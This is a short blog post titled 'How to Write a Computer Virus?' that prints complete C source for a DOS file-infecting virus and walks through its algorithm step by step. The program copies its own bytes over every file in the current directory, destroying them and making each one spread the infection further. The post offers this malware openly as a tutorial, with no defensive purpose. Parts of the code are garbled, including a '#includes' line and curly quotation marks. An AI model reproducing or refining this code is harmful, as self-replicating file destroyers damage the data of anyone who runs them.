15/10/2014

How to Write a Computer Virus?

This program is an example of how tocreate a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory. Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.
Here’s the source code of the virus program:
#includes<io.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&
ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=
fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
This virus is designed to infect all types of files with any extension.

How the Virus Program Works?
The algorithm of this virus program is as follows:
Step 1. Search for files in the current directory. If one or more file is present, load the first file (target file).
Step 2. Load the copy of the virus itself onto the memory.
Step 3. Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.
Step 4. Load the next file to infect and move to the Step 3. If all the files are infected, close all the open files, unload them from the memory and exit. As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.
Share on Facebook